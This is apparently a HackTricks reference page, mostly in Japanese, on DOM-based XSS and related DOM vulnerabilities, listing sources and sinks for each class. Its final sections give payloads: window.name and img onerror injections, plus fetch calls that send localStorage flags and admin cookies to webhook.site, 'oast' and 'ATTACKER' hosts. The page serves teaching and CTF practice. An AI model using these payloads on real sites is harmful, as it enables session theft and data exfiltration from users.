DOM XSS
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
DOMの脆弱性
DOMの脆弱性は、攻撃者が制御するsources(例: location.search、document.referrer、document.cookie)からのデータが安全でない方法でsinksに渡されると発生します。Sinksは、悪意のあるデータが与えられた際に実行やレンダリングによって有害な内容を発生させる可能性のある関数やオブジェクト(例: eval()、document.body.innerHTML)です。
- Sources は攻撃者が操作できる入力で、URLs、cookies、web messages などが含まれます。
- Sinks は、悪意あるデータがスクリプト実行のような悪影響を引き起こす可能性のある、潜在的に危険なエンドポイントです。
リスクは、データが適切な検証やサニタイズなしにsourceからsinkへ流れるときに生じ、XSSのような攻撃を可能にします。
Tip
sourcesとsinksのより新しい一覧は次で確認できます https://github.com/wisec/domxsswiki/wiki
一般的な sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
この種類の XSS はおそらく発見が最も難しく、JS コードを詳しく読み、あなたが制御できる値を持つオブジェクトをスクリプトが使用しているかを確認し、その場合に任意の JS を実行するために悪用できる方法があるかを探す必要があります。
見つけるためのツール
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- 潜在的な sink に到達するすべてのデータをチェックするブラウザ拡張: https://github.com/kevin-mizu/domloggerpp
例
Open Redirect
出典: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
任意のコード(例えば javascript:alert(1))を実行できることが重要である点に注意してください。リダイレクトが発生する URL の先頭部分を制御できる場合、そうした実行が可能になることがあります。
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation 脆弱性は、攻撃者が制御できるデータをスクリプトが cookie の値に組み込むときに発生します。 この脆弱性は、cookie がサイト内で利用されている場合にウェブページの予期しない動作を引き起こす可能性があります。 さらに、cookie がユーザーセッションの追跡に関与している場合、session fixation attack を実行するために悪用される可能性もあります。 この脆弱性に関連する主な sink は次のとおりです:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities は、スクリプトが攻撃者によって制御可能なデータを JavaScript コードとして実行すると発生します。
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
出典: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities は、スクリプトが attacker が制御できるデータを使って document.domain プロパティを設定すると発生します。
document.domain プロパティはブラウザによる same-origin policy の施行において重要な役割を果たします。異なるオリジンの2つのページが document.domain を同じ値に設定すると、制限なく相互にやり取りできます。ブラウザは document.domain に代入できる値に一定の制限を課し、実際のページオリジンと全く無関係な値の代入を防ぎますが、例外があります。通常、ブラウザはchildやparent domainsの使用を許可します。
Sinks:
document.domain
WebSocket-URL poisoning
出典: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning は、スクリプトが WebSocket 接続のターゲット URL として 制御可能なデータを使用する 場合に発生します。
シンク:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
出典: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities は、スクリプトが現在のページ内のナビゲーションターゲット(クリック可能なリンクやフォームの送信先 URL など)に 攻撃者が制御可能なデータを書き込む 場合に発生します。
シンク:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities は、スクリプトが XmlHttpRequest オブジェクトを使用して送信される Ajax リクエストに 攻撃者が制御可能なデータを書き込む と発生します。
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities は、スクリプトが filename パラメータとして 攻撃者が制御可能なデータをファイル処理APIに渡す ときに発生します。攻撃者はこの脆弱性を悪用して、別のユーザーが訪れた場合に ユーザーのブラウザが任意のローカルファイルを開く、または書き込む 可能性のあるURLを構築できます。
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
出典: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities は、スクリプトが攻撃者が制御できるデータをクライアント側のSQLクエリに安全でない方法で組み込むときに発生します。
Sinks:
executeSql()
HTML5ストレージ操作
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities は、スクリプトが 攻撃者が制御できるデータをウェブブラウザのHTML5ストレージに保存する(localStorage または sessionStorage)場合に発生します。 この操作自体が必ずしもセキュリティ脆弱性というわけではありませんが、アプリケーションがその後に保存されたデータを読み取り、安全でない方法で処理する場合に問題になります。 これにより、攻撃者はストレージ機構を利用して、cross-site scripting や JavaScript injection などの他の DOM-based 攻撃を実行できる可能性があります。
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
出典: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities は、スクリプトが attacker-controllable data into an XPath query を組み込むと発生します。
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
出典: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities は、スクリプトが 攻撃者が制御可能なデータを、JSON データ構造として解析され、その後アプリケーションによって処理される文字列に組み込む 場合に発生します。
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
出典: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities は、スクリプトがブラウザ内の別のドキュメントに対して、攻撃者が制御可能なデータを web message として送信すると発生します。脆弱な Web-message manipulation の例は、PortSwigger’s Web Security Academy にあります。
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
出典: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities は、スクリプトが DOM 内のフィールドに攻撃者が制御可能なデータを書き込む 場合に発生します。これらのフィールドは表示される UI やクライアント側のロジックで利用されます。攻撃者はこの脆弱性を利用して URL を構築し、その URL を別のユーザーが訪れるとクライアント側 UI の外観や動作を変更することができます。
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
出典: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities は、スクリプトが attacker-controllable data unsafely to a problematic platform API を渡すと発生します。これには、呼び出されたときにユーザーのコンピュータが excessive amounts of CPU or disk space を消費してしまうような API が含まれます。こうした脆弱性は副作用が大きく、たとえばブラウザが localStorage への保存を拒否したり、長時間実行されるスクリプトを終了させたりしてウェブサイトの機能を制限することがあります。
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
暗黙のグローバルと window.name の悪用
name を宣言(var/let/const)なしで参照すると window.name に解決されます。window.name はクロスオリジンのナビゲーションをまたいで持続するため、攻撃者はブラウジングコンテキストの名前をHTML/JSで事前に埋め、後で被害者のコードにそれを信頼されたデータとしてレンダリングさせることができます:
- 管理している名前付きコンテキストでターゲットを開く/ナビゲートする:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- または、細工したターゲット名で
window.openを再利用する:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
アプリケーションが後で element.innerHTML = name(または同様の sink)をサニタイズせずに実行すると、攻撃者が制御する window.name の文字列がターゲットオリジンで実行され、DOM XSS を引き起こして同一オリジンのストレージへアクセスできるようになります。
管理者/自動化フロー: 事前にシードされたストレージ & javascript: ナビゲーション
自動化ボット(例: Playwright)は、内部ページを先に訪問して localStorage/cookies にシークレットを設定し、その後ユーザーが提供した URL に遷移することがよくあります。そのフロー内の任意の DOM XSS プリミティブ(window.name の悪用を含む)は、事前にシードされたシークレットを外部に持ち出すことができます:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
もし bot がスキームを制限しない場合、javascript: URL(javascript:fetch(...))を渡すと、新しいナビゲーションを発生させずに現在のオリジンで実行され、ストレージ値が直接 leak されます。
テンプレートリテラル innerHTML + 部分的なサニタイズのギャップ
一部のフィールドのみをサニタイズしつつ、それでも信頼できないフィールドを直接 innerHTML に埋め込むフロントエンドは、容易に悪用可能です。例:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes stored DOM XSS for any privileged viewer of the list. A simple payload such as <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> executes when an admin opens the page and exfiltrates their cookies.
未サニタイズのフィールドがサーバー側に保存されると(例:バグ報告の “details”)、ペイロードはリストを閲覧する権限を持つユーザーに対してstored DOM XSSになります。例えば <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> のような簡単なペイロードは admin がページを開いたときに実行され、その cookies を外部へ送信します。
When the app explicitly disables SESSION_COOKIE_HTTPONLY (e.g., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random secret_key prevents forging, but theft still works).
アプリが明示的に SESSION_COOKIE_HTTPONLY を無効にしている場合(例:Flask app.config['SESSION_COOKIE_HTTPONLY'] = False)、盗まれた cookie は起動ごとに signing secret がローテートしていても即座に admin の session を付与します(ランダムな secret_key によって forging は防げますが、盗難は有効です)。
References
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


